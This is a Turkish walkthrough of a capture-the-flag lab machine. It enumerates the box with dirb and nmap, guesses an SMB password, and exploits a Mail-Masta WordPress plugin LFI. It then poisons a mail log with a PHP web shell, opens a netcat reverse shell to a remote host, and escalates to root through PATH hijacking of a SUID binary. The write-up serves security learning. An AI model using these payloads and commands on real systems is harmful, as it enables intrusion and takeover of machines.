Bu yazı bol kaynak , türkçeleştirme ve bilgi içerir 🙂

Makinenin Index’i :

Bunun gibi bir Index gördüğümde beni bir araştırma yolculuğunun beklediğini anlarım.

Hemen Kaynağı görüntüledim fakat burda herhangibir bilgi yok.

Bir dirb taraması gerçekleştirdim.

dirb http://ip.ad.re.si

Burdaki sonuçlar apache dizinleri ve işime yaramaz.

Nmap ile çalışan servisleri ve versiyonları kontrol ettim. (Nmap)
Sonuç :

Samba smbd 3.X – 4.X servisi çalışıyor.

GUI ile smb bağlantı

smb://192.168.59.147/

Smb kullancıları :

Anonymous üzerinden böyle bir txt buldum.

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! Next person I find using one of these passwords will be fired! -Zeus

Burdaki uyarıdan şifrelerin yukardaki gibi olma ihtimali yükseldi. helios smb üzerinden ‘qwerty’ şifre denemesi başarılı.

Helios’un içinde 2 adet txt  dosyası var.
Bilgi içeren todo.txt

1. Binge watch Dexter

2. Dance

3. Work on /h3l105

/h3l105/ dizininde birşeyler olduğunu anladım.

WordPress site Mail-Masta pluginini kullanıyor.
Exploit-Db üzerinde bir LFI zafiyeti yayınlanmış faydalanalım.

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

LFI ile /etc/passwd okudum ve  helios kullancısını da farketmiş oldum.

Ama burda farklı bir olay söz konusu LFI to RCE .

Telnet kullanarak bu istekleri uyguladım.
telnet 192.168.ip.ip 25

MAIL FROM: <gonderen>

RCP TO: Helios (Alıcı)

data (veri girişi)

"<?php system($_GET['cmd']); ?>"

.

Kullandığım istekler bana bir rce açıyor.

Deneyelim!

http://192.168.ip.ip/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id

$ id ‘yi bana döndürdü.

/var/mail/helios ise kullancıya ait mail dizini.

Bundan faydalanıp kendime netcat aracılığı ile bağlantı açacağım.

Url’ye bağlantı kurmak için :

nc -e /bin/sh 192.168.ip.ip 1111

komutu ile reverse shell sağladım.

uname -a yaptığımda sürümün local exploit’e uygun olmadığını gördüm 🙁

find / -perm -u=s -type f 2>/dev/null

Kullanarak SUID biti /opt/statuscheck için kullanabilir olduğunu gördüm.

Strings /opt/statuscheck
kullanarak içinde bir curl mevcut , bu durumdan faydalanmak için Path Çevresel Değişkeni ile hak yükselteceğim.

cd /tmp

echo "/bin/sh" > curl

chmod 777 curl

echo $PATH

export PATH=/tmp:$PATH

/opt/statuscheck

Ve son kontroller…

id

cd /root

cat proof.txt

Ve son olarak :

Kaynaklar :
https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
https://kernelblog.org/2019/07/hak-yukseltme-asamasi-2/
https://liberty-shell.com/sec/2018/05/19/poisoning/
https://www.exploit-db.com/exploits/40290
Ufak hint 🙂